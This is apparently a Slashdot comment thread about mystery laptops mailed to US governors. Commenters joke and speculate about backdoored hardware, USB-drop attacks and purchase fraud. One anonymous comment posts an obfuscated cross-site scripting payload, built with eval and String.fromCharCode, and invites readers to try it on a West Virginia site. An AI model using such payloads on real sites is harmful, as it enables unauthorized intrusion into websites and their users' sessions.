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FBI Investigating Mystery Laptops Sent To US Governors

timothy posted more than 4 years ago | from the send-a-few-to-me dept.

Portables 329

itwbennett writes "The FBI is trying to find out who is sending laptops to state governors across the US, including the governors of Wyoming and West Virginia. The West Virginia laptops were delivered to the governor's office on August 5, according to the Charleston Gazette, which first reported the story. Kyle Schafer, West Virginia's chief technology officer, says he doesn't know what's on the laptops, but he handed them over to the authorities. 'Our expectation is that this is not a gesture of good will,' he said. 'People don't just send you five laptops for no good reason.'"

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Me (4, Funny)

earthloop (449575) | more than 4 years ago | (#29229053)

If the governors don't want them, I'll have them.

Re:Me (5, Funny)

Anonymous Coward | more than 4 years ago | (#29229357)

As a resident of West Virginia, I assure you it wasn't a trust issue. Rather, the laptops did not have 28.8 modems to connect to the local bbs rendering them useless in the Mountain State.

West Virginia - keeping Hughes Net in business since 2005.

If they don't want them (2, Interesting)

snl2587 (1177409) | more than 4 years ago | (#29229061)

I'll take them.

Seriously, they don't have one good tech guy who could wipe the drives/check the internals for rogue hardware?

Re:If they don't want them (-1, Troll)

Anonymous Coward | more than 4 years ago | (#29229103)

Show me an IT monkey who could tell the difference between two standard network adapters, one of them fine and the other containing a counterfeit MAC/PHY IC that's been fucked with by Chinese intelligence services...

PS to Libs - Go ahead and repackage ObamaCare as KennedyCare. No one could raise money for Republicans like ol' drinky drink!

Re:If they don't want them (0)

Anonymous Coward | more than 4 years ago | (#29229159)

-1 Offtopic

No one could raise money for Republicans like ol' drinky drink!

No need to be mean, we know George W. Bush got off the sauce years ago...

Re:If they don't want them (-1, Offtopic)

Anonymous Coward | more than 4 years ago | (#29229319)

Thankfully, before something terrible happened, for instance "accidentally" driving his car into a pond and leaving his pregnant mistress for dead... Any man not named Kennedy would have been finished at that point.

I for one am tired of hearing about the deranged, overprivileged Kennedy clan. They're so out of touch that they think they can just walk into a NY Senate seat based on name-recognition alone. Well, I guess it did work for that carpetbagger Hillary, so maybe Caroline was on to something...

Re:If they don't want them (0, Offtopic)

Anonymous Coward | more than 4 years ago | (#29229951)

I for one am tired of hearing about the deranged, overprivileged Kennedy clan. They're so out of touch that they think they can just walk into a NY Senate seat based on name-recognition alone. Well, I guess it did work for that carpetbagger Hillary, so maybe Caroline was on to something...

When I'm tired of people talking about something I usually bring it up.

Re:If they don't want them (-1, Flamebait)

Anonymous Coward | more than 4 years ago | (#29229231)

Dead Kennedy Health Care - A Shovel Ready Project

Re:If they don't want them (4, Insightful)

jamesh (87723) | more than 4 years ago | (#29229327)

Show me an IT monkey who could tell the difference between two standard network adapters, one of them fine and the other containing a counterfeit MAC/PHY IC that's been fucked with by Chinese intelligence services...

And for the time taken to vet the laptop for such things, you might as well throw it out.

On the other hand, if you actually did want to get government personnel using subverted hardware then I think just sending it to them anonymously is probably not a good way of going about it... so maybe the criminals aren't that smart. Or maybe that's what they want you to think?

Re:If they don't want them (3, Insightful)

thue (121682) | more than 4 years ago | (#29229887)

> And for the time taken to vet the laptop for such things, you might as well throw it out.

Except that if I were the CIA, I would pay a lot more than the price of 5 laptops to know who was spying on me, and how.

That might not be safe enough (4, Insightful)

acb (2797) | more than 4 years ago | (#29229117)

What if whoever's sending them isn't just a small-time crook but a foreign intelligence agency with the resources to custom-make chips with built-in back doors. (Such back doors have been demonstrated to be plausible; someone has built a CPU with a circuit which switches off memory protection when it finds a specific sequence on a memory bus, which means that it doesn't matter how secure the software running on it is.)

Why would they target state governors' offices? Well, they'd presumably be easier to pwn than, say, the Department of Defence or the CIA, and a good starting point for setting up pieces.

Re:That might not be safe enough (3, Insightful)

MichaelSmith (789609) | more than 4 years ago | (#29229163)

But delivering them this way is attracting too much attention. Better to deliver the machines to their normal IT supplier, perhaps by getting one of your people on the payroll.

Re:That might not be safe enough (4, Insightful)

1s44c (552956) | more than 4 years ago | (#29229235)

But delivering them this way is attracting too much attention. Better to deliver the machines to their normal IT supplier, perhaps by getting one of your people on the payroll.

It would be far cheaper to put malware on a USB key with a logo of some government project on the side and mail that to them. They could use the same CD autorun thing that the U3 malware uses.

Re:That might not be safe enough (5, Insightful)

BenEnglishAtHome (449670) | more than 4 years ago | (#29229577)

...a USB key with a logo of some government project ...

Are you kidding?

If I wanted to guarantee that a found USB key would be plugged in somewhere, I'd label it "porn".

Re:That might not be safe enough (2, Interesting)

Corporate Troll (537873) | more than 4 years ago | (#29229695)

They could use the same CD autorun thing that the U3 malware uses.

Offtopic, but does anyone know how to remove the U3 "feature" using Linux? I heard there are Win32 removal tools, but I don't trust removal tools from people who actually invented U3...

Re:That might not be safe enough (1)

Archimonde (668883) | more than 4 years ago | (#29229911)

Good old format (insert linux equivalent) doesn't work?

Re:That might not be safe enough (1)

Joce640k (829181) | more than 4 years ago | (#29229763)

a) As pointed out, somebody with the resources to do that would be a but more subtle about delivering them.

b) In this case, the smart thing to do would be to keep things quiet and send false info.

Re:That might not be safe enough (5, Interesting)

LWATCDR (28044) | more than 4 years ago | (#29230155)

Really? They why state governors? They really don't have a lot of access to secret stuff. My guess is a little more amusing. Someone has figured out how to hack into HPs GSA ordering system and is pranking them. They are basically ordering laptops on the states dime from HP just to see if anyone notices. Sort of like ordering Pizzicati to be set to buddy's house as a joke. The difference is this is going to be a federal offense.

Re:If they don't want them (4, Interesting)

1s44c (552956) | more than 4 years ago | (#29229123)

Seriously, they don't have one good tech guy who could wipe the drives/check the internals for rogue hardware?

Not at a cost less than the price of one new laptop. Smart hardware people with time to prepare could hide just about any device just about anywhere. Or hide nothing at all just so people waste time looking for what isn't there.

I get the impression this is just a prank by someone with a little too much free cash and a bad sense of humor. Either that or a marketing thing by a laptop manufacturer.

Re:If they don't want them (-1)

Krneki (1192201) | more than 4 years ago | (#29229499)

You wipe the OS and install a new one. You clean it up from the default bloatware and hook it to the network. You analyze the connection and if there is no communication the devices are safe.

Re:If they don't want them (2, Insightful)

Jeremy Erwin (2054) | more than 4 years ago | (#29229663)

And if it's a hardware issue? I'd donate them to a educational organization (after wiping them down for malware)

Re:If they don't want them (1)

Krneki (1192201) | more than 4 years ago | (#29229765)

What issue? Hidden malicious code or reliability?

Re:If they don't want them (3, Insightful)

sopssa (1498795) | more than 4 years ago | (#29229675)

You wipe the OS and install a new one. You clean it up from the default bloatware and hook it to the network. You analyze the connection and if there is no communication the devices are safe.

You seem like a intelligent gentleman providing great solution for both the latest gov IT attacks AND the recession!

If this happens, I can see both China's computer espionage and Kim Jong's heads exploding from the sore happiness!

Re:If they don't want them (1)

Krneki (1192201) | more than 4 years ago | (#29229755)

In the end they will be analyzed, if they are safe what should be do with them. Burn them?

Re:If they don't want them (3, Insightful)

Corporate Troll (537873) | more than 4 years ago | (#29229725)

That's a bit naive, isn't it? Perhaps there is a hardware trigger that will start sending out data when receiving a specific packet and when it doesn't, it stays silent? Or a timed device (6 months from first power-on)... There are many ways that those machines may be compromised without even being affected by the operating system that's on it.

Re:If they don't want them (1)

Sun.Jedi (1280674) | more than 4 years ago | (#29229913)

I get the impression this is just a prank by someone with a little too much free cash and a bad sense of humor.

You may have meant "someone with a little too much stolen cash". This is too blunt for anyone with the resources to seriously mod the HW in a meaningful way for intelligence gathering or DoS. My gut reaction is the laptops have a trojan/worm on them, and were intended for the dumber staff to go "cool! free loot!" for the LULZ [youtube.com] .

OLPG (4, Funny)

MichaelSmith (789609) | more than 4 years ago | (#29229065)

Its obviously the one laptop per Governor project.

Re:OLPG (2, Funny)

zoomshorts (137587) | more than 4 years ago | (#29229181)

Compaq 15.6" CQ60-410US Notebook PC, I got mine for $298.00. Not a real cost.
Let's guess, one drunk, $1600.00 laying around and surf the web for governor's
addresses.

The malware? IE 8.0 plus VISTA Home edition. Instant coup.

Re:OLPG (1, Funny)

Ed_1024 (744566) | more than 4 years ago | (#29229295)

Decepticons!!

Re:OLPG (0, Flamebait)

drseuk (824707) | more than 4 years ago | (#29229453)

If they're iBooks, it's probably Microsoft Poland's latest effort to market Windows 7 to black Americans.

Are you kidding me? (4, Funny)

zach_the_lizard (1317619) | more than 4 years ago | (#29229067)

"People don't just send you five laptops for no good reason."

Are you kidding me? I've received hundreds of free laptops from total strangers. In fact, I trust them so much that I do all my banking on them. After all, this nice downtrodden Nigerian prince has personally guaranteed the security and stability of all these laptops. Now, let me go check my bank balance....OMGWTFBBQ^*#^$@))*#$!!!!!

NO CARRIER

Re:Are you kidding me? (4, Funny)

sopssa (1498795) | more than 4 years ago | (#29229503)

NO CARRIER

I understand breaking the monitor and keyboard in such situation, but you actually went out of the house, walked to your tool shack, picked up an axe and smashed your telephone line with it? That's a little bit aggressive, dont you think?

Re:Are you kidding me? (1, Funny)

Anonymous Coward | more than 4 years ago | (#29229599)

I thought NO CARRIER meant that his internet connection caused a power spike in his house and killed his air conditioner.

Re:Are you kidding me? (1)

Dystopian Rebel (714995) | more than 4 years ago | (#29229845)

"People don't just send you five laptops for no good reason."

They do if the senders are expecting a positive review!

At the same time, I don't think that the incoherent and vaguely grammatical comments of daft and corrupt US politicians will help sales much.

I could be wrong, though. I was one of the ones who believed Cmdr Taco was right about the iPod.

If the govenors do not want them... (5, Interesting)

Skinkie (815924) | more than 4 years ago | (#29229069)

...at least give every incoming laptop to a nearby school. I mean, spying on students happens already anyway.

Re:If the govenors do not want them... (1)

Antique Geekmeister (740220) | more than 4 years ago | (#29229613)

Replace and save the hard drive for legal analysis, with a good chain of ownership in case of lawsuits.

I'd also be concerned about electromechanical key loggers. Governors handle some very sensitive data, and should not have their keystrokes logged. But scrubbing the drives with a good Linux live CD makes them safe enough for casual use.

Ins't it obvious? (0, Redundant)

SyscRAsH (127068) | more than 4 years ago | (#29229071)

OLPC

send them back... (1)

iamagloworm (816661) | more than 4 years ago | (#29229075)

to nigeria! i know a woman who could definitely use them to transfer the millions left in her account...

Re:send them back... (2, Funny)

mikael (484) | more than 4 years ago | (#29229813)

Nigeria actually has a bank called "Bank PHB" [promote-my-site.com] with the slogan "Be you, be free, be brilliant". I can't help but think of the PHB from Dilbert [promote-my-site.com] ;

Interesting angle on social engineering... (5, Interesting)

damburger (981828) | more than 4 years ago | (#29229093)

You get the laptops delivered to a big enough organisation, whoever signs for them assumes *somebody* ordered them for a reason, but can't find out who. So they stash them somewhere. Fast forwards to when someone new joins the organisation and needs a laptop, somebody mentions there are a couple lying around in boxes and bingo, you've got malware in through the front door without touching an Internet connection.

Makes me wonder, how often this has been done successfully to less vigilant offices, worked, and we haven't heard about it.

Re:Interesting angle on social engineering... (4, Interesting)

jollyreaper (513215) | more than 4 years ago | (#29229259)

That's an expensive hack! Especially when the typical methods are practically free. I wonder how effective it is.

You know, it might be cheaper to just "accidentally" drop usb drives near the office or, if you're not targeting a particular office specifically, leave the drives in coffee shops and local restaurants. Someone takes it home and tries looking at it, pwnage.

Re:Interesting angle on social engineering... (1)

flynt (248848) | more than 4 years ago | (#29229411)

Expensive for whom, you? What about a large political party or the intelligence unit of a foreign country? Practically free for them.

Re:Interesting angle on social engineering... (2, Insightful)

maxume (22995) | more than 4 years ago | (#29229489)

But West Virginia?

Re:Interesting angle on social engineering... (1, Insightful)

Anonymous Coward | more than 4 years ago | (#29229839)

It's near DC (there are daily commuter trains), it's fairly cheap, and there's a congress critter with some clout. West Virginia actually has several federal computer centers, which are central hubs for the Coast Guard and the DHS. (At least.)

Not that the governor has anything to do with them but there are some high-profile targets.

Re:Interesting angle on social engineering... (0)

Anonymous Coward | more than 4 years ago | (#29229891)

Maybe it's the coal lobby.

Re:Interesting angle on social engineering... (2, Insightful)

MiniMike (234881) | more than 4 years ago | (#29229993)

Maybe they're trying to intercept communications to or from Senator Byrd [wikipedia.org] who, despite being from West Virginia, is a very influential Senator.

Or they might just want the latest recipe for Varmint Pie.

Re:Interesting angle on social engineering... (1)

camperdave (969942) | more than 4 years ago | (#29230099)

But West Virginia?

It's them pesky East Virginians, I'll bet!

Re:Interesting angle on social engineering... (2, Insightful)

91degrees (207121) | more than 4 years ago | (#29229423)

Yes. I can't imagine it would be worth it for businesses. You're spending a lot of cash on something that may well go to fairly junior employees who have no access to any information of any importance. Even if the Governor himself gets one, you can't be sure that he'll use it for anything that will be of any value to a third party.

A foreign government might be willing to splash out this sort of cash but I wonder how interested they are in individual state politics.

Re:Interesting angle on social engineering... (1)

140Mandak262Jamuna (970587) | more than 4 years ago | (#29229505)

All you need is for someone to plug this thing in behind the firewall and turn it on. The viruses will find insecure machines and replicate there. And it can install deep packet monitoring etc and listen to all the packets being passed around in the wired networks, which are often unencrypted.

Re:Interesting angle on social engineering... (3, Insightful)

Skinkie (815924) | more than 4 years ago | (#29229901)

So what if the laptops where HP's with onboard maybe even modified 3G cards. How are you going to prevent a KVM calling home?

I am not a spy (0)

Anonymous Coward | more than 4 years ago | (#29229561)

A foreign government might be willing to splash out this sort of cash but I wonder how interested they are in individual state politics.

IANAS but I would imagine that is exactly the type of stuff that they would be interested in. I don't live in the US and don't know how much of stuff is done by federal government directly and how much at state level, but I would assume that a lot of the most important and fragile infrastructure is controlled at state level.

If I really wanted to damage/invade/whatever a nation, I would be very interested in state level affairs. Naturally, I would want to know those things about several states, but that does seem to be what is happening.

I don't think that this is a serious try from any major intelligence agency. There would be a lot better ways to do that if they put time into it. However, after a century of active spying, counter spying, etc... I could well imagine someone coming up with the idea of "Have we tried just sending them bugged laptops anonymously?" and the superior would go "No but... Well.. What the hell. Let's give that one a try. No reason not to."

Re:Interesting angle on social engineering... (1)

mdm-adph (1030332) | more than 4 years ago | (#29229541)

Just steal the laptops then.

Or -- I don't know -- just be the country that makes them (China) where you have virtually unlimited access to the stock, anyway.

Re:Interesting angle on social engineering... (1)

thesandtiger (819476) | more than 4 years ago | (#29229769)

Be sure to label the drives with stickers - "Your competitor's TOP SECRET data!!!" and the like.

God knows, I've worked with people who would fall for that.

Re:Interesting angle on social engineering... (2, Interesting)

scheuri (655355) | more than 4 years ago | (#29229291)

That is what I thought first, too. Well, I still think it is a very interesting angle on social engineering as you put it.

However, if you do that with a large enough company to get "undetected" (assuming smaller companies would recognise something fishy is going on) there should be a large risk that this laptop goes to the IT-people first to get completely altered to companies standards.
That usually should mean complete format and using an image of whatever the company is using as client OS. So there goes your malware (at least most of it).

So I am very confident that this has to be taken into account.

some company order systems with there image per lo (1)

Joe The Dragon (967727) | more than 4 years ago | (#29229349)

some company order systems with there image per loaded or some are so big that some think like can happen they are just sitting there ready to go (not knowing that IT did not even get to them) or they are in Small Branch Office with little to no on site IT.

Re:Interesting angle on social engineering... (1)

analog_line (465182) | more than 4 years ago | (#29229617)

Formatting the drive doesn't protect against malicious hardware/firmware built in (or installed before they were sent to the target). If we're talking foreign government it would be a piece of cake to get that done. The US government has done similar things to espionage targets. Organized crime would more than likely have the ability (or be able to develop the ability) to hide the face that a case had been opened and the guts altered from casual inspection.

I don't expect it would take too much ingenuity to develop an extremely small keylogger process that could get data out no matter what operating system you're dealing with.

Re:Interesting angle on social engineering... (1)

damburger (981828) | more than 4 years ago | (#29230075)

However, as some have pointed out above, this is a very expensive trojan; and if you are going to spend that kind of money it might be viable to put something nasty in hardware/firmware that wouldn't be affected by the IT nerds wiping the laptops and installing company stuff.

Re:Interesting angle on social engineering... (1)

Coffee on Mars (1597787) | more than 4 years ago | (#29229323)

If this was done on a public office, how long do you think will remain unnoticed? (Paranoia: it's not wrong if you're right)

Re:Interesting angle on social engineering... (2, Interesting)

jlmale0 (1087135) | more than 4 years ago | (#29229375)

The article notes that the seized laptops were part of an order that shipped to 10 offices; all have been tracked down. Still, you're right, we don't know about other orders. I think it's a brilliant idea, the free laptops. If it's a software only attack, they have to be wary of those departments that reimage PCs to standard images.

Don't assume Fraud is occuring on the delivery (5, Interesting)

Cassini2 (956052) | more than 4 years ago | (#29229687)

Go for the obvious. Someone is trying to get revenge on corporation "x" by purchasing a bunch of computers and having them drop shipped. By the time accounting catches up with the paperwork, the computers will be in the hands of the FBI for a month. If the scam is done right, it is done by an ex-employee or someone with just enough access to know who the preferred suppliers are. You make a couple of phone calls, send the right paperwork, and next thing your computer vendor is drop shipping a bunch of computers somewhere.

Having worked for distributors, I'm surprised this doesn't happen more often. Having stuff go missing for weeks on end inside factories, fairly routine ... This wouldn't be hard to do. Just ship a bunch of computers somewhere else.

It is even difficult to get charged for doing something like this. FAXing the paperwork leaves no fingerprints. To the accounting department, the transaction looks like typical incompetence. The corporation won't request charges laid, because then they would have to admit they were incompetent too, and this stuff happens all the time. The police have a tough time charging you, because you didn't steal anything. If done right, you didn't even touch anything so there is no physical evidence. No evidence means no crime, and your revenge makes the national newspapers. Perfect revenge scheme.

Reality is weirder than fiction (3, Funny)

Drakkenmensch (1255800) | more than 4 years ago | (#29229097)

Sounds like the opening chapter of a John Grisham novel. Encryption hits the newspaper stands before the library shelves, it seems!

Re:Reality is weirder than fiction (1)

BitwizeGHC (145393) | more than 4 years ago | (#29229451)

I think I read that book. It was by Dan Brown, not Grisham, and called Digital Fortress. Yes, it was terrible.

Re:Reality is weirder than fiction (2, Funny)

Jeremy Erwin (2054) | more than 4 years ago | (#29229705)

When the NSA's invincible code-breaking machine encounters a mysterious code it cannot break, the agency calls in its head cryptographer, Susan Fletcher, a brilliant and beautiful mathematician. What she uncovers sends shock waves through the corridors of power. The NSA is being held hostage...not by guns or bombs, but by a code so ingeniously complex that if released it will cripple U.S. intelligence.

Egad. If I want cheap obnoxious thrillers, I'll read Greg Bear's lesser work...

IEDs? (0)

Anonymous Coward | more than 4 years ago | (#29229109)

They accept deliveries they're not expecting? Kaboom! Have they learned nothing?

Re:IEDs? (0)

Anonymous Coward | more than 4 years ago | (#29229253)

I've seen unordered "rush" deliveries taken directly to low level administrative staff. The intimidated staff, and the sneaky vendor, know Professor Ego often pushes everyone to work outside the standard purchasing channels [because he is so much better at finding good deals!] The technical staff then rejects this equipment because we know it is crap; and this vendor has been trying all kinds of creative methods to make a sale.

Could just be some company testing methods to get equipment to high level decision makers to influence sales. The laptops could contain nothing more malicious than a large scale multimedia sales presentation.

penetration tests usually use CD's in the mail (0)

Anonymous Coward | more than 4 years ago | (#29229155)

Laptops would be a new kind of upgrade to the approach.

Bank penetration tests are done by sending official looking CD's in the mail with trojans attached.

I can see it now (5, Funny)

ChayesFSS (896146) | more than 4 years ago | (#29229177)

Next week on CNN: Pen & Paper sent to US Governors in hopes that they'd do more work. FBI called in to investigate.

Hard-Trojans (5, Funny)

LaminatorX (410794) | more than 4 years ago | (#29229183)

"A what? Whatever, put it in the yard next to the giant wooden horse."

People don't send five free laptops for no reason (1)

tecnico.hitos (1490201) | more than 4 years ago | (#29229187)

Of course they don't.That's ridiculous

But if they sent three laptops, then it would be another story...

a delivered local wi-fi attack? (3, Interesting)

Anonymous Coward | more than 4 years ago | (#29229189)

fedex sleeping laptop
wake at delivery time
run superduper wi-fi haxor proggy
phone home

Re:a delivered local wi-fi attack? (4, Funny)

lxs (131946) | more than 4 years ago | (#29229359)

"a delivered local wi-fi attack" is the best poetry I've read all day. Your lack of punctuation and capitalzation reminds me of e.e.cummings, and the unexpected Spielberg reference at the end is a stroke of genius. You should do poetry slams. (imagine "run superduper wi-fi haxor proggy" to the sound of a bass slapping. )

Re:a delivered local wi-fi attack? (4, Funny)

zippthorne (748122) | more than 4 years ago | (#29229591)

I'm imagining it, but it's really hard to get a good rhythm out of a dead fish.

Re:a delivered local wi-fi attack? (1)

miffo.swe (547642) | more than 4 years ago | (#29229791)

Took me a while to understand it but now my coworker keeps staring at me as i cant stop giggling.

Youre fucking awesome!

Capitalizing the first letter of a sentence (0)

Anonymous Coward | more than 4 years ago | (#29229681)

What is it about you jerk offs that have to act as if you are professional english critics? Don't you realize this is only a forums?? Your assinine pompous arrogance at thinking you have the right to judge others on their writing or any other basis is astounding, and only indicative of your asshole-like nature. Go fuck yourself you freak, because in case you didn't notice, your first letter of your first sentence isn't even capitalized, quote or not, and that makes you the screwup in English right there, as well as your lack of captilizing a person's initials in their name, like E.E. Cummings, dumbass. You played yourself.

Re:Capitalizing the first letter of a sentence (0)

Anonymous Coward | more than 4 years ago | (#29229833)

"only a forums??"

"captilizing"

capitilizing? only a forums? What kind of god awful English is that? or is it a new language like Retardish or something?

Re:Capitalizing the first letter of a sentence (0)

Anonymous Coward | more than 4 years ago | (#29230071)

He was being complimentary you retard. You fail at comprehension. He may have come across as a little patronizing but you've come across as the worst kind of twat - a pedant with poor reading and comprehension skills.

Hacked hardware? (5, Interesting)

tsvk (624784) | more than 4 years ago | (#29229191)

Since the origin of the computers is unknown, the hardware cannot be trusted. The computers might be hacked and backdoored on the BIOS level. Modern BIOSes are quite sophisticated with a rich functionality, that can be misused invisibly from the OS' point of view.

Re:Hacked hardware? (2, Insightful)

John Hasler (414242) | more than 4 years ago | (#29229247)

I think that they are more concerned about bombs than BIOS trojans.

Re:Hacked hardware? (5, Funny)

maxume (22995) | more than 4 years ago | (#29229281)

The article says that they were HP laptops, not Sony.

</obvious>

Re:Hacked hardware? (1)

pinkushun (1467193) | more than 4 years ago | (#29229255)

In that case they could be crafted into excellent honeypots against the mysterious laptop donors

2 democrats (3, Interesting)

WindBourne (631190) | more than 4 years ago | (#29229197)

I wonder if the others are dems? Perhaps it is time to check the keys themselves and see what is on them

How about good samaritans? (0, Funny)

Anonymous Coward | more than 4 years ago | (#29229305)

Noone trust those no more?
What if a beautiful woman would feel pity for your sorry ass never-get-laid geek character and offers you free sex to live your wildest dream at least once in your sad life? And she brings along her equally sexy girlfriend... You would turn them down, wouldn't you? You would be scared to death that they would turn mid-course into some gut sucking aliens or at least they would want to spread some nasty uncurable disease, wouldn't you? Unadventurous geek basterds...

Re:How about good samaritans? (1)

courteaudotbiz (1191083) | more than 4 years ago | (#29229441)

If I wanted to be a good samaritan, it would not be with a governor who had, by 2007, an average salary of 124 398$ [stateline.org] . It would be with a poor family, a child, anyone who can't afford it. Not a governor...

Updated news report (5, Funny)

ciaran.mchale (1018214) | more than 4 years ago | (#29229315)

This just in... It seems the governor's office was right to be wary. The FBI have confirmed that all the laptops are infected with Windows Vista Basic. Truly nasty.

China (1)

BlueBoxSW.com (745855) | more than 4 years ago | (#29229341)

Next question?

That's nothing... (2, Funny)

Anonymous Coward | more than 4 years ago | (#29229377)

Real bad guys would plant a Governor or a President, not some brainless laptops...

if i were a governor (1, Funny)

Anonymous Coward | more than 4 years ago | (#29229397)

i'd just give it to my mistress as a gift. makes me look like a swell guy and doesn't cost me a dime.

Why not? (0, Redundant)

frozentier (1542099) | more than 4 years ago | (#29229421)

Why is it such a stretch to think that someone is sending laptops to governors with only good intentions, when Ted Turner handed the U.N. a billion dollars and nobody questioned it? Maybe someone has the cash and is trying to do something good. If they are afraid of what's on them, simply wipe them, put a fresh OS install on them, and enjoy.

related to Hackers Hit Credit Unions With Malware? (0)

Anonymous Coward | more than 4 years ago | (#29229427)

"Hackers Hit Credit Unions With Malware On CD"
http://it.slashdot.org/story/09/08/27/2331201/Hackers-Or-Pen-Testers-Hit-Credit-Unions-With-Malware-On-CD

Stop being so paranoid (5, Interesting)

charliebear (887653) | more than 4 years ago | (#29229473)

A likely explanation is that somebody either stole a credit card or cards or somehow ordered them fraudulently and is using this as a smokescreen. Send 10 laptops to 10 governors. Send 10 to random people including yourself. Profit! Or else an employee at one of the offices is in on it and wanted to cover themselves by sending them out to other offices.

This just in... (0)

Anonymous Coward | more than 4 years ago | (#29229689)

It was Ballmer - he was apparently browsing Youtube and realized his "Developers Developers Developers" dance and scream video was a huge success and more needed to be done for the Governors - thus a new video was outed - "Governors Governors Governors". But his secretary in an attempt to stop him from further tarnishing Microsoft's image, told him Governors do not compute because they don't have computers. But as always the relentless Ballmer then sent one whole laptop to each Governor - a copy of the Governors video was included in the startup sequence.

Now since the FBI had never watched the Developers video in first place - they thought this was a threat against the governors to use Windows or else and hence the investigation. Ballmer responded to investigation by throwing more copies of his videos out thru his window(s) and on to Youtube. FBI is still investigating.

Idiotic delivery method. (1)

miffo.swe (547642) | more than 4 years ago | (#29229709)

Sending a computer by mail seems to me like a very stupid method to deliver a trojan horse. I have a hard time imaging someone that stupid, especially at espionage level.

I can imagene pentest like theese but not used by a smart hacker.

Oh... (0)

Anonymous Coward | more than 4 years ago | (#29229727)

Probably an elaborate attempt at hacking the FBI :-P

XSS in WV (0)

Anonymous Coward | more than 4 years ago | (#29229731)

Here kids, have fun on that site:

[url]x id="xxx"
style="xss:expression(eval(String.fromCharCode(108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,35,122,39,59,118,97,114,32,120,120,120,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,120,120,120,39,41,59,116,104,105,115,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,110,111,110,101,39,59)))"[/url]

Posted AC for obvious reasons. Found that a while back (I may or may not live in WV)... nice to see if someone can have fun with it...

Doubt its malware.. it's probably just a scam (0)

Anonymous Coward | more than 4 years ago | (#29229737)

Since HP was able to provide shipping information for the laptops in transit the laptops were probably ordered directly from HP and shipped to the offices. This sounds a lot like the toner cartridges scam from a few years ago.. ship a lot of toner cartridges to a company... then send them a fat bill. When accounts payable gives the WTF call to the receiving dept and the receiving dept confirms delivery, many companies will assume the bill is legit and pay it (no matter what the hefty price tag is).

OLPC (2, Funny)

tekrat (242117) | more than 4 years ago | (#29229793)

One Laptop Per *CHILD*.

The batteries... (1)

marciot (598356) | more than 4 years ago | (#29229797)

...must be of the exploding kind.

"you have won" (1)

nurb432 (527695) | more than 4 years ago | (#29229861)

And they 'clicked here'

Figures that they would find the ONE legit free gift out of all the scam.. But then again, if you are scam to the core, you can see one a mile away.

OBLIG.... (-1, Redundant)

Sun.Jedi (1280674) | more than 4 years ago | (#29229929)

Do they run Linux?

For no good reason? (1)

rbrander (73222) | more than 4 years ago | (#29229981)

That's funny, corporations are constantly giving politicians much larger amounts of money for no good reason - since surely honest politicians would not let a few thousand dollars sway their administration of hundreds of millions of dollars away from the Common Good.

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